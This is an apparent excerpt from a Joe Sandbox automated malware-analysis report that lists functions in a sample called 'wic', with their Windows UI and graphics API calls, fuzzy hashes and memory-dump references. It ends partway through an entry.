Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Rect$Client$MetricsScreenSystem$OffsetWindow
String ID:
API String ID: 509473180-0
Opcode ID: 97066d1ecd1401e448512b06aa5cf9303285c0cb27152ae0f93a40d269183fd5
Instruction ID: 51026ca14fabfe15a7700a2b87e38563ebe2674cc4d0f85a8fc85f9296105633
Opcode Fuzzy Hash: 97066d1ecd1401e448512b06aa5cf9303285c0cb27152ae0f93a40d269183fd5
Instruction Fuzzy Hash: 3BF1D5B1A10209AFDF04DFA4CD899EEBBB9FF08304B148169F915EB650D731EA04DB61

Function 008943C6 Relevance: 31.9, APIs: 17, Strings: 1, Instructions: 419windowkeyboardCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 008943CD
GetFocus.USER32 ref: 008943EF
GetParent.USER32(?), ref: 00894432
GetParent.USER32(?), ref: 00894445
GetKeyState.USER32(00000012), ref: 00894518
IsWindow.USER32(?), ref: 008945A8
GetFocus.USER32 ref: 008945B2
IsWindow.USER32(?), ref: 008945CA
GetFocus.USER32 ref: 008945D4
IsDialogMessageA.USER32(?,?), ref: 0089464D
GetFocus.USER32 ref: 0089465D
GetFocus.USER32 ref: 00894674
GetKeyState.USER32(00000010), ref: 00894693
MessageBeep.USER32(00000000), ref: 00894799

Strings

+, xrefs: 00894739

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Focus$MessageParentStateWindow$BeepDialogH_prolog3_catch
String ID: +
API String ID: 44247675-2126386893
Opcode ID: 1ba4d5a7c295a0c7bec419cb8d28a8edd1f2c8cc4e375e6f26d2d11e45848c07
Instruction ID: e2f09b737036d225f91574f3556b7ded5923f77d9392c321d9c16212c4c97562
Opcode Fuzzy Hash: 1ba4d5a7c295a0c7bec419cb8d28a8edd1f2c8cc4e375e6f26d2d11e45848c07
Instruction Fuzzy Hash: 62D1E371900259AFDF25BFA4C859EBE7BB4FF09710F195019F901EB261DB308D429B51

Function 008B4ABE Relevance: 30.5, APIs: 20, Instructions: 490windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 008B4AC8
IsWindow.USER32(?), ref: 008B4B64
GetMenuItemCount.USER32(?), ref: 008B4D15
AppendMenuA.USER32(?,00000000,00000000,?), ref: 008B4D49
SendMessageA.USER32(?,0000040C,00000000,00000000), ref: 008B4DD5
SendMessageA.USER32(?,0000041D,00000000,?), ref: 008B4E13
GetMenuItemCount.USER32(?), ref: 008B4E92
AppendMenuA.USER32(?,00000800,00000000,00000000), ref: 008B4EA8
AppendMenuA.USER32(?,00000000,00000000,?), ref: 008B4EC6
GetMenuItemCount.USER32(?), ref: 008B4F35
AppendMenuA.USER32(?,00000800,00000000,00000000), ref: 008B4F4B
AppendMenuA.USER32(?,00000000,00000000,?), ref: 008B4F65
AppendMenuA.USER32(?,00000800,00000000,00000000), ref: 008B4D2B

Part of subcall function 008851D1: GetDlgCtrlID.USER32(?), ref: 008851DC

GetWindow.USER32(?,00000005), ref: 008B4FE9
AppendMenuA.USER32(?,00000000,00000000,?), ref: 008B505A
GetWindow.USER32(00000000,00000002), ref: 008B508A
AppendMenuA.USER32(?,00000000,00000000,?), ref: 008B510B
GetMenuItemCount.USER32(?), ref: 008B5152
AppendMenuA.USER32(?,00000800,00000000,00000000), ref: 008B5168
AppendMenuA.USER32(?,00000000,00000000,?), ref: 008B517F

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Menu$Append$CountItem$Window$MessageSend$CtrlH_prolog3_
String ID:
API String ID: 528922254-0
Opcode ID: 722a2af97e49e3c497f4776824a8fc48db525feafa8938b5d1a97e17aa9e8e93
Instruction ID: 8ed9e87b345480b24a9592f568762a106edb14cf3f2ce3d2a7b8de5953f7313b
Opcode Fuzzy Hash: 722a2af97e49e3c497f4776824a8fc48db525feafa8938b5d1a97e17aa9e8e93
Instruction Fuzzy Hash: 16122774A00614ABDF25AB64CC9ABADBBB5FF44710F148099E949EB392DF30AD40CF51

Function 008AEAF8 Relevance: 28.8, APIs: 19, Instructions: 320windowCOMMON

Download Yara Rule

APIs

InflateRect.USER32(?,00000004,00000004), ref: 008AEB51
InvalidateRect.USER32(?,?,00000001), ref: 008AEB63
UpdateWindow.USER32(?), ref: 008AEB6C
GetMessageA.USER32(?,00000000,0000000F,0000000F), ref: 008AEBAD
DispatchMessageA.USER32(?), ref: 008AEBBF
PeekMessageA.USER32(?,00000000,0000000F,0000000F,00000000), ref: 008AEBCF
GetCapture.USER32 ref: 008AEBD9
SetCapture.USER32(?), ref: 008AEBEA
GetCapture.USER32 ref: 008AEBF6
GetWindowRect.USER32(?,?), ref: 008AEC23
SetCursorPos.USER32(?,?), ref: 008AEC4A
GetCapture.USER32 ref: 008AEC50
GetMessageA.USER32(?,00000000,00000000,00000000), ref: 008AEC69
DispatchMessageA.USER32(?), ref: 008AEC93
ReleaseCapture.USER32 ref: 008AECD5
IsWindow.USER32(?), ref: 008AECDE
SendMessageA.USER32(?,00000010,00000000,00000000), ref: 008AECF5
ReleaseCapture.USER32 ref: 008AEE27
ReleaseCapture.USER32 ref: 008AEE56

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Capture$Message$RectReleaseWindow$Dispatch$CursorInflateInvalidatePeekSendUpdate
String ID:
API String ID: 46364927-0
Opcode ID: 08eb0ab2452c10e723cfda0398458382959b18927254a6ea059e57ab82c89096
Instruction ID: c597c78bb1645cc72f09bddd8c4313966fbaddd9fe5810b41093606e7cf70059
Opcode Fuzzy Hash: 08eb0ab2452c10e723cfda0398458382959b18927254a6ea059e57ab82c89096
Instruction Fuzzy Hash: 0EB1D671A00215ABEF14EFB8DC89AAE7BB9FF45720F144829F905EB691DB30DD009B51

Function 0086A232 Relevance: 28.6, APIs: 19, Instructions: 80COMMON

Download Yara Rule

APIs

CloseThemeData.UXTHEME(00000000,00861D2C,00861D2C,?,00000000,00871F5B,00000002,00000000,?,00000000,?,00861D2C,009E4830), ref: 0086A23E
CloseThemeData.UXTHEME(00000000,00861D2C,00861D2C,?,00000000,00871F5B,00000002,00000000,?,00000000,?,00861D2C,009E4830), ref: 0086A24D
CloseThemeData.UXTHEME(00000000,00861D2C,00861D2C,?,00000000,00871F5B,00000002,00000000,?,00000000,?,00861D2C,009E4830), ref: 0086A25C
CloseThemeData.UXTHEME(00000000,00861D2C,00861D2C,?,00000000,00871F5B,00000002,00000000,?,00000000,?,00861D2C,009E4830), ref: 0086A26B
CloseThemeData.UXTHEME(00000000,00861D2C,00861D2C,?,00000000,00871F5B,00000002,00000000,?,00000000,?,00861D2C,009E4830), ref: 0086A27A
CloseThemeData.UXTHEME(00000000,00861D2C,00861D2C,?,00000000,00871F5B,00000002,00000000,?,00000000,?,00861D2C,009E4830), ref: 0086A289
CloseThemeData.UXTHEME(00000000,00861D2C,00861D2C,?,00000000,00871F5B,00000002,00000000,?,00000000,?,00861D2C,009E4830), ref: 0086A298
CloseThemeData.UXTHEME(00000000,00861D2C,00861D2C,?,00000000,00871F5B,00000002,00000000,?,00000000,?,00861D2C,009E4830), ref: 0086A2A7
CloseThemeData.UXTHEME(00000000,00861D2C,00861D2C,?,00000000,00871F5B,00000002,00000000,?,00000000,?,00861D2C,009E4830), ref: 0086A2B6
CloseThemeData.UXTHEME(00000000,00861D2C,00861D2C,?,00000000,00871F5B,00000002,00000000,?,00000000,?,00861D2C,009E4830), ref: 0086A2C5
CloseThemeData.UXTHEME(00000000,00861D2C,00861D2C,?,00000000,00871F5B,00000002,00000000,?,00000000,?,00861D2C,009E4830), ref: 0086A2D4
CloseThemeData.UXTHEME(00000000,00861D2C,00861D2C,?,00000000,00871F5B,00000002,00000000,?,00000000,?,00861D2C,009E4830), ref: 0086A2E3
CloseThemeData.UXTHEME(00000000,00861D2C,00861D2C,?,00000000,00871F5B,00000002,00000000,?,00000000,?,00861D2C,009E4830), ref: 0086A2F2
CloseThemeData.UXTHEME(00000000,00861D2C,00861D2C,?,00000000,00871F5B,00000002,00000000,?,00000000,?,00861D2C,009E4830), ref: 0086A301
CloseThemeData.UXTHEME(00000000,00861D2C,00861D2C,?,00000000,00871F5B,00000002,00000000,?,00000000,?,00861D2C,009E4830), ref: 0086A310
CloseThemeData.UXTHEME(00000000,00861D2C,00861D2C,?,00000000,00871F5B,00000002,00000000,?,00000000,?,00861D2C,009E4830), ref: 0086A31F
CloseThemeData.UXTHEME(00000000,00861D2C,00861D2C,?,00000000,00871F5B,00000002,00000000,?,00000000,?,00861D2C,009E4830), ref: 0086A32E
CloseThemeData.UXTHEME(00000000,00861D2C,00861D2C,?,00000000,00871F5B,00000002,00000000,?,00000000,?,00861D2C,009E4830), ref: 0086A33D
CloseThemeData.UXTHEME(00000000,00861D2C,00861D2C,?,00000000,00871F5B,00000002,00000000,?,00000000,?,00861D2C,009E4830), ref: 0086A34C

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: CloseDataTheme
String ID:
API String ID: 2797872399-0
Opcode ID: 6dbdd1d7c26a6973a740bee4234a6d67594f1862f45cbdec803b12e55a8f117f
Instruction ID: cb0e3a07b934fc61acbf6d1e6dbe162749627fd7f2b9bf853665a2b7624420fe
Opcode Fuzzy Hash: 6dbdd1d7c26a6973a740bee4234a6d67594f1862f45cbdec803b12e55a8f117f
Instruction Fuzzy Hash: 5D313230094A40EFD73A5F25D95C766BBF2FB00706F468928E086A59B0C776ADD4EE12

Function 0089A25B Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 243fileCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 0089A265
GetModuleFileNameA.KERNEL32(00000000,?,00000104,009E41EC,00000000,009E92CC,00000000,009E5730,00000000,00861D2C,00000000,0000052C,0089B301,?,00000000,00000038), ref: 0089A2FB
_strlen.LIBCMT ref: 0089A382
CreateFileA.KERNEL32(00861D2C,80000000,00000001,00000000,00000003,00000000,00000000,009E5730,00000000,00861D2C,00000000,0000052C,0089B301,?,00000000,00000038), ref: 0089A3B0
GetFileSize.KERNEL32(00000000,00000000,?,?,0089700F,00861D2C,00861D2C,00861D2C,009E4830,00861D2C,00861E24,00861E24,?,008983D0,?,?), ref: 0089A3C0

Strings

PNG, xrefs: 0089A509

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: File$CreateH_prolog3_ModuleNameSize_strlen
String ID: PNG
API String ID: 523348133-364855578
Opcode ID: a03ddd2870602ad07b5c75fce0a8e5b9e818c8a75c2d7dfe48953b277679fcb9
Instruction ID: bf462233a092d53b4fb0926d3961487968e7c824e4cf209aeb5d6810fbae90ab
Opcode Fuzzy Hash: a03ddd2870602ad07b5c75fce0a8e5b9e818c8a75c2d7dfe48953b277679fcb9
Instruction Fuzzy Hash: 0C81D171900218ABCF25AB64CC89FEB767CFF85710F1441A9F905E7181EA709E41DFA2

Function 008980C6 Relevance: 24.7, APIs: 13, Strings: 1, Instructions: 214COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 008980D0
GetObjectA.GDI32(00000000,00000018,?), ref: 0089810E
CreateCompatibleDC.GDI32(00000000), ref: 0089814D
SelectObject.GDI32(?,00000000), ref: 00898170
GetObjectA.GDI32(00000000,00000054,?), ref: 008981B6
CreateDIBSection.GDI32(?,?), ref: 00898218
CreateCompatibleDC.GDI32(?), ref: 00898252
SelectObject.GDI32(?,00000000), ref: 0089826B

Strings

(, xrefs: 00898201

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Object$Create$CompatibleSelect$H_prolog3_Section
String ID: (
API String ID: 1338481308-3887548279
Opcode ID: 0f8d4a43125c7340e0087c8d18e3d41a26851aa4b97ebf38d3a1d3198e72ff6b
Instruction ID: be11c1ab2f29a7857669c77f786d6686541609387c8078b99c20e979d49329d5
Opcode Fuzzy Hash: 0f8d4a43125c7340e0087c8d18e3d41a26851aa4b97ebf38d3a1d3198e72ff6b
Instruction Fuzzy Hash: E3A1F470900619DFDB61EF68DC84BAABBB5FF09300F1481A9E84DE7251DB309A85DF21

Function 008860E2 Relevance: 24.2, APIs: 16, Instructions: 176windowCOMMON

Download Yara Rule

APIs

PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 00886175
SendMessageA.USER32(00000000,00000084,00000000,?), ref: 00886193
ReleaseCapture.USER32 ref: 008861CE
GetMessageA.USER32(?,00000000,000000A1,000000A1), ref: 008861DE
PeekMessageA.USER32(?,00000000,00000000,00000000,00000001), ref: 008861F0
DispatchMessageA.USER32(?), ref: 008861F7
DispatchMessageA.USER32(?), ref: 008862AE
GetCursorPos.USER32(00000000), ref: 008862B8
PeekMessageA.USER32(?,00000000,?,?,00000001), ref: 008862D9

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Message$Peek$Dispatch$CaptureCursorReleaseSend
String ID:
API String ID: 597789953-0
Opcode ID: 49f087bf6a5d61c93cab6973eb1ba045a0cf2b7d09f8cc301e93805bbc3a88b9
Instruction ID: cfffe26e6b1e60c8866cbf8a6bcc3d83266c439945a6c68d9b763c13f85f1499
Opcode Fuzzy Hash: 49f087bf6a5d61c93cab6973eb1ba045a0cf2b7d09f8cc301e93805bbc3a88b9
Instruction Fuzzy Hash: 5E51E570600205BBEB252B60DC8EF7DB739FB44B01F108169F501DA692EB75EDA0EB61

Function 0089A880 Relevance: 24.2, APIs: 16, Instructions: 158windowCOMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0089A887
CreateCompatibleDC.GDI32(00000000), ref: 0089A8B4
GetObjectA.GDI32(00861D2C,00000018,?), ref: 0089A8CD
SelectObject.GDI32(00000000,00861D2C), ref: 0089A8E5
CreateCompatibleBitmap.GDI32(00000000,?,?), ref: 0089A910
SelectObject.GDI32(00000000,00000000), ref: 0089A921

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Object$CompatibleCreateSelect$BitmapH_prolog3
String ID:
API String ID: 1715795092-0
Opcode ID: ce994fe862d55c9f5543a31d118f435683a75ad58074e64591ca8b4c94ea62c4
Instruction ID: 4b46f6fe30b85d4fe8c8692292a9242f3660177d6baa18eecad1d76573ef50b7
Opcode Fuzzy Hash: ce994fe862d55c9f5543a31d118f435683a75ad58074e64591ca8b4c94ea62c4
Instruction Fuzzy Hash: 7F516831810269EFCF19EFA4DC88AAEBFB5FF09311B158125F415E6160DB318E41DBA2

Function 008D428C Relevance: 21.2, APIs: 14, Instructions: 232windowCOMMON

Download Yara Rule

APIs

RedrawWindow.USER32(?,?,00000000,00000105), ref: 008D42C7
PtInRect.USER32(?,?,?), ref: 008D42D4
SendMessageA.USER32(?,00000010,00000000,00000000), ref: 008D4301
GetParent.USER32(?), ref: 008D431D
SendMessageA.USER32(?,?,?,00000000), ref: 008D4340
SendMessageA.USER32(?,?,?,009FA878), ref: 008D4386
ReleaseCapture.USER32 ref: 008D439A
ReleaseCapture.USER32 ref: 008D4483
ReleaseCapture.USER32 ref: 008D44EC
IsRectEmpty.USER32(?), ref: 008D4563
InvalidateRect.USER32(?,?,00000000), ref: 008D4575
IsRectEmpty.USER32(?), ref: 008D457F
InvalidateRect.USER32(?,?,00000000), ref: 008D4591
UpdateWindow.USER32(?), ref: 008D459A

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Rect$CaptureMessageReleaseSend$EmptyInvalidateWindow$ParentRedrawUpdate
String ID:
API String ID: 1443145988-0
Opcode ID: 4c93c558575a1a2cc14ad4fc7e19db7b39df5766f56ef6a9d1fe34f06fff0579
Instruction ID: 87d33a94f6dd35e25999e6f0180d813b4fbcf6828fb2c03cb932407c1d115daa
Opcode Fuzzy Hash: 4c93c558575a1a2cc14ad4fc7e19db7b39df5766f56ef6a9d1fe34f06fff0579
Instruction Fuzzy Hash: A3916071A10646EFCB089F75C889AEDBBB5FF48310F14422AE429E7350DB30AE509F90

Function 008D06EC Relevance: 21.1, APIs: 14, Instructions: 118timewindowCOMMON

Download Yara Rule

APIs

KillTimer.USER32(?,0000EC13), ref: 008D072E
KillTimer.USER32(?,0000EC14), ref: 008D073C

Part of subcall function 008D0923: InvalidateRect.USER32(?,00000000,00000001), ref: 008D097D
Part of subcall function 008D0923: UpdateWindow.USER32(?), ref: 008D0986

Part of subcall function 008D0AEF: KillTimer.USER32(?,0000EC13,?,?,008D03E0), ref: 008D0B7B

GetCursorPos.USER32(?), ref: 008D074F
ScreenToClient.USER32(?,?), ref: 008D075C
GetClientRect.USER32(?,?), ref: 008D0778
MapWindowPoints.USER32(?,?,?,00000002), ref: 008D078D
PtInRect.USER32(?,?,?), ref: 008D079D
SendMessageA.USER32(?,00000201,?,?), ref: 008D07B6
SetTimer.USER32(?,0000EC14,000000C8,00000000), ref: 008D07D3
GetClientRect.USER32(?,?), ref: 008D07F9
MapWindowPoints.USER32(?,?,?,00000002), ref: 008D080E
PtInRect.USER32(?,?,?), ref: 008D081E
SendMessageA.USER32(?,00000201,?,?), ref: 008D0837
SetTimer.USER32(?,0000EC13,000000C8,00000000), ref: 008D0854

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: RectTimer$ClientKillWindow$MessagePointsSend$CursorInvalidateScreenUpdate
String ID:
API String ID: 2240750388-0
Opcode ID: f4bad07e6affd042112126248f12bfdd49389732546db16272539a1c37b06710
Instruction ID: 3679db4df64d1ffd93dcd983d3482b865a99ca379d3ebd3efa75471c9f0b72e7
Opcode Fuzzy Hash: f4bad07e6affd042112126248f12bfdd49389732546db16272539a1c37b06710
Instruction Fuzzy Hash: D3418E71900646FFDF119FA1CD49AAEFBB5FF08700F00862AF116A6261C772AA50EF51

Function 008AC850 Relevance: 19.9, APIs: 13, Instructions: 412windowCOMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 008AC85A
GetWindowRect.USER32(?,?), ref: 008AC8F3
SetRect.USER32(?,00000000,00000000,?,?), ref: 008AC919
CreateCompatibleDC.GDI32(?), ref: 008AC925
CreateCompatibleBitmap.GDI32(?,?,?), ref: 008AC94F
GetWindowRect.USER32(?,?), ref: 008AC9B1
GetClientRect.USER32(?,?), ref: 008AC9BE
OffsetRect.USER32(?,?,?), ref: 008AC9DF
IsRectEmpty.USER32(?), ref: 008ACA0F
InflateRect.USER32(?,000000FE,00000000), ref: 008ACCE7
CreateRectRgnIndirect.GDI32(?), ref: 008ACA20

Part of subcall function 0087A8BD: SelectClipRgn.GDI32(00000002,00000000), ref: 0087A8E1
Part of subcall function 0087A8BD: SelectClipRgn.GDI32(?,00000000), ref: 0087A8F9

SetRectEmpty.USER32(?), ref: 008ACAA6
BitBlt.GDI32(?,?,?,?,?,?,?,?,00CC0020), ref: 008ACDBE

Memory Dump Source

Source File: 0000000C.00000002.1632468446.0000000000861000.00000020.00000001.01000000.00000017.sdmp, Offset: 00860000, based on PE: true

Associated: 0000000C.00000002.1632443187.0000000000860000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632652356.00000000009E3000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632709842.0000000000A3A000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632758437.0000000000A3C000.00000008.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632788178.0000000000A3F000.00000004.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000A45000.00000002.00000001.01000000.00000017.sdmpDownload File
Associated: 0000000C.00000002.1632836413.0000000000B77000.00000002.00000001.01000000.00000017.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_860000_wic.jbxd

Similarity

API ID: Rect$Create$ClipCompatibleEmptySelectWindow$BitmapClientH_prolog3_IndirectInflateOffset
String ID:
API String ID: 3231449308-0
Opcode ID: aaa25c904cd39a9b0074c584e36a1034faeeddca15cc1fcea4f7bf7274c59377
Instruction ID: 47c6382d3543213960fe600a0d73fcaf20128e49ff1a0e35b5f2f5e9cfa74dec
